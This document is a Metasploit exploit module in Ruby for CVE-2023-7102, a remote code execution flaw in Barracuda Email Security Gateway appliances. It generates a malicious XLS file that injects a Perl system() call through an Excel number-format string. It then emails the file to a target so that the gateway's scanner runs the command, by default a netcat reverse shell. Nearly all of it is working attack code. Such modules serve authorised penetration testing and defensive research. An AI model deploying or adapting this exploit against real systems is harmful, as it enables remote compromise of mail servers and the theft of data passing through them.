## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::SMTPDeliver # BIFF8 Record Opcodes BIFF8_BOF = 0x0809 # Beginning of File BIFF8_EOF = 0x000A # End of File BIFF8_CODEPAGE = 0x0042 # Code page BIFF8_WINDOW1 = 0x003D # Window information BIFF8_DATEMODE = 0x0022 # Date system BIFF8_FONT = 0x0031 # Font definition BIFF8_FORMAT = 0x041E # Number format string (payload injection point) BIFF8_XF = 0x00E0 # Extended format BIFF8_STYLE = 0x0293 # Style definition BIFF8_BOUNDSHEET = 0x0085 # Sheet information BIFF8_DIMENSION = 0x0200 # Sheet dimensions BIFF8_ROW = 0x0208 # Row definition BIFF8_NUMBER = 0x0203 # Floating point cell # BIFF8 Constants BIFF8_VERSION = 0x0600 BOF_WORKBOOK = 0x0005 BOF_WORKSHEET = 0x0010 def initialize(info = {}) super( update_info( info, 'Name' => 'Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution', 'Description' => %q{ This module exploits CVE-2023-7102, an arbitrary code execution vulnerability in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists in how the Amavis scanner processes Excel attachments using the Perl Spreadsheet::ParseExcel library. The library's Utility.pm contains an unsafe eval() that processes Excel Number format strings without validation. By crafting a malicious XLS file with a specially formatted Number format string containing Perl code, an attacker can achieve remote code execution when the ESG scans the email attachment. This module dynamically generates a minimal BIFF8 XLS file with the payload embedded in a FORMAT record using Rex::OLE. Payload constraints: no ']' (terminates format string) or single quotes (breaks Perl eval injection). This vulnerability was exploited in the wild by UNC4841 (China-nexus threat actor) starting November 2023. Barracuda deployed automatic patches on December 21, 2023. Affected versions: Barracuda ESG 5.1.3.001 through 9.2.1.001 }, 'License' => MSF_LICENSE, 'Author' => [ 'Mandiant', # CVE-2023-7101/7102 discovery 'haile01', # CVE-2023-7101 XLS payload technique 'Curt Hyvarinen' # Metasploit module ], 'References' => [ ['CVE', '2023-7102'], ['CVE', '2023-7101'], ['URL', 'https://github.com/haile01/perl_spreadsheet_excel_rce_poc'], ['URL', 'https://trust.barracuda.com/security/information/esg-vulnerability'], ['URL', 'https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-7101'] ], 'DisclosureDate' => '2023-12-24', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => false, # Runs as scana user (Amavis scanner) 'Payload' => { 'Space' => 8192, 'DisableNops' => true, 'BadChars' => "]'\x00" # ] terminates format, ' breaks eval, null terminates }, 'Targets' => [ [ 'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('MAILTO', [true, 'Target email address on the ESG']), OptString.new('SUBJECT', [false, 'Email subject line (default: random)']), OptString.new('BODY', [false, 'Email body text (default: random)']), OptString.new('FILENAME', [false, 'XLS attachment filename (default: random)']) ] ) end def check connect banner_str = banner.to_s if banner_str =~ /barracuda/i return CheckCode::Detected('Barracuda ESG detected in SMTP banner') end if banner_str =~ /ESMTP/i return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG') end CheckCode::Safe('No SMTP banner detected') rescue Rex::ConnectionError => e CheckCode::Unknown("Connection failed: #{e.message}") ensure disconnect end def exploit cmd = payload.encoded # Validate payload doesn't contain characters that break the injection if cmd.include?(']') fail_with(Failure::BadConfig, "Payload contains ']' which terminates the format string. Use a different payload.") end if cmd.include?("'") fail_with(Failure::BadConfig, 'Payload contains single quote which breaks eval injection. Use a different payload.') end @subject = datastore['SUBJECT'] @body = datastore['BODY'] @filename = datastore['FILENAME'] @mailfrom = datastore['MAILFROM'] @subject = Rex::Text.rand_text_alpha(rand(8..16)) if @subject.to_s.strip.empty? @body = Rex::Text.rand_text_alpha(rand(16..32)) if @body.to_s.strip.empty? @filename = "#{Rex::Text.rand_text_alpha(8)}.xls" if @filename.to_s.strip.empty? print_status('Generating malicious XLS with payload in FORMAT record') xls_data = generate_malicious_xls(cmd) print_status('Composing email with XLS attachment') email_data = generate_exploit_email(xls_data) print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}") send_message(email_data) print_good('Email sent successfully') print_status('Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)') end # # Generate a malicious XLS file with payload embedded in FORMAT record # Uses Rex::OLE for OLE2 container and builds BIFF8 records dynamically # def generate_malicious_xls(cmd) # Build the malicious format string # Format: [>0;system('COMMAND')]0 # The >0 comparison is always true for positive numbers, then Perl executes system() format_payload = "[>0;system('#{cmd}')]0" vprint_status("Format string payload: #{format_payload}") vprint_status("Payload length: #{format_payload.length} bytes") # Build BIFF8 workbook stream workbook = build_workbook_stream(format_payload) # Build BIFF8 worksheet stream worksheet = build_worksheet_stream # Combine streams (worksheet follows workbook globals in same stream) content = workbook + worksheet # Create OLE2 container using Rex::OLE xls_data = create_ole2_xls(content) vprint_status("Generated XLS size: #{xls_data.length} bytes") xls_data end # # Build BIFF8 workbook globals stream # def build_workbook_stream(format_payload) stream = ''.b # BOF - Workbook stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKBOOK)) # Codepage (UTF-16) stream << biff_record(BIFF8_CODEPAGE, [0x04B0].pack('v')) # Window1 - basic window settings stream << biff_record(BIFF8_WINDOW1, window1_data) # Datemode - 1900 date system stream << biff_record(BIFF8_DATEMODE, [0x0000].pack('v')) # Font records (need at least 4 for XF records) 4.times { stream << biff_record(BIFF8_FONT, font_data) } # FORMAT record - this is where our payload lives stream << biff_record(BIFF8_FORMAT, format_data(format_payload)) # XF records (cell formatting) - need 21 built-in + 1 custom 21.times { stream << biff_record(BIFF8_XF, xf_data(0)) } stream << biff_record(BIFF8_XF, xf_data(165)) # References our custom format # Style record stream << biff_record(BIFF8_STYLE, style_data) # Boundsheet - worksheet BOF offset = current stream length + this record's size + EOF record size # Pre-compute the BOUNDSHEET record size to calculate the correct absolute offset boundsheet_size = biff_record(BIFF8_BOUNDSHEET, boundsheet_data(0)).bytesize eof_size = biff_record(BIFF8_EOF, '').bytesize stream << biff_record(BIFF8_BOUNDSHEET, boundsheet_data(stream.length + boundsheet_size + eof_size)) # EOF stream << biff_record(BIFF8_EOF, '') stream end # # Build BIFF8 worksheet stream # def build_worksheet_stream stream = ''.b # BOF - Worksheet stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKSHEET)) # Dimension - 1x1 used range stream << biff_record(BIFF8_DIMENSION, dimension_data) # Row definition stream << biff_record(BIFF8_ROW, row_data(0)) # NUMBER record - cell with value that triggers format processing # Row 0, Col 0, XF index 21 (our custom format), Value 123.0 stream << biff_record(BIFF8_NUMBER, number_data(0, 0, 21, 123.0)) # EOF stream << biff_record(BIFF8_EOF, '') stream end # # Create OLE2 compound document containing the workbook stream # def create_ole2_xls(content) # Create temporary file for Rex::OLE tmpfile = Rex::Quickfile.new('msf-xls') tmppath = tmpfile.path tmpfile.close begin stg = Rex::OLE::Storage.new(tmppath, Rex::OLE::STGM_WRITE) fail_with(Failure::Unknown, 'Failed to create OLE storage') unless stg stm = stg.create_stream('Workbook') fail_with(Failure::Unknown, 'Failed to create Workbook stream') unless stm stm << content stm.close stg.close # Read the generated file xls_data = File.binread(tmppath) xls_data ensure File.delete(tmppath) if File.exist?(tmppath) end end # BIFF8 Record Helpers # # Build a BIFF8 record: opcode (2 bytes) + length (2 bytes) + data # def biff_record(opcode, data) [opcode, data.bytesize].pack('v2') + data end # # BOF record data # def bof_data(sheet_type) [ BIFF8_VERSION, # BIFF version sheet_type, # Sheet type (workbook or worksheet) 0x0DBB, # Build identifier 0x07CC, # Build year 0x000000C1, # File history flags 0x00000006 # Lowest BIFF version ].pack('v4V2') end # # Window1 record data # def window1_data [ 0x0000, # Horizontal position 0x0000, # Vertical position 0x4000, # Width 0x2000, # Height 0x0038, # Options 0x0000, # Selected tab 0x0000, # First displayed tab 0x0001, # Selected tabs count 0x00E5 # Tab bar width ratio ].pack('v9') end # # Font record data # def font_data font_name = 'Arial' data = [ 0x00C8, # Height (200 twips = 10pt) 0x0000, # Options 0x7FFF, # Color index 0x0190, # Font weight (400 = normal) 0x0000, # Escapement 0x00, # Underline 0x00, # Font family 0x00, # Character set 0x00, # Reserved font_name.length # Name length (byte string) ].pack('v4vC5') data << font_name data end # # FORMAT record data - contains our payload # def format_data(format_string) # FORMAT record structure for BIFF8: # - 2 bytes: format index (custom formats start at 164) # - 2 bytes: string length (character count) # - 1 byte: encoding flag (0 = compressed/Latin-1, 1 = UTF-16) # - variable: string data format_index = 165 data = [ format_index, format_string.length, 0x00 # Latin-1 encoding (single byte per char) ].pack('v2C') data << format_string data end # # XF (extended format) record data # def xf_data(format_index) [ 0x0000, # Font index format_index, # Format index (0 = General, 165 = our custom) 0x0001, # Type/protection flags 0x00, # Alignment 0x00, # Rotation 0x00, # Text properties 0x00, # Used attributes 0x00000000, # Border colors 0x00000000, # Border lines 0x00000000 # Pattern/background color ].pack('v3C4V3') end # # Style record data # def style_data [ 0x8000, # XF index with built-in flag set 0x00, # Built-in style ID (Normal) 0xFF # Outline level ].pack('vCC') end # # Boundsheet record data # def boundsheet_data(sheet_offset) sheet_name = 'Sheet1' data = [ sheet_offset, # Absolute offset to BOF 0x00, # Sheet state (visible) 0x00, # Sheet type (worksheet) sheet_name.length # Name length ].pack('VCC C') data << sheet_name data end # # Dimension record data # def dimension_data [ 0x0000, # First row 0x0001, # Last row + 1 0x0000, # First column 0x0001, # Last column + 1 0x0000 # Reserved ].pack('v5') end # # Row record data # def row_data(row_num) [ row_num, # Row number 0x0000, # First defined column 0x0001, # Last defined column + 1 0x00FF, # Row height 0x0000, # Reserved 0x0000, # Reserved 0x0100 # Options ].pack('v7') end # # NUMBER record data # def number_data(row, col, xf_index, value) data = [row, col, xf_index].pack('v3') data << [value].pack('E') # 64-bit IEEE 754 double (little-endian) data end # # Generate MIME email with XLS attachment # def generate_exploit_email(xls_data) msg = Rex::MIME::Message.new msg.mime_defaults msg.from = @mailfrom msg.to = datastore['MAILTO'] msg.subject = @subject msg.add_part(@body, 'text/plain', nil, 'inline') msg.add_part_attachment(xls_data, @filename) msg.to_s end end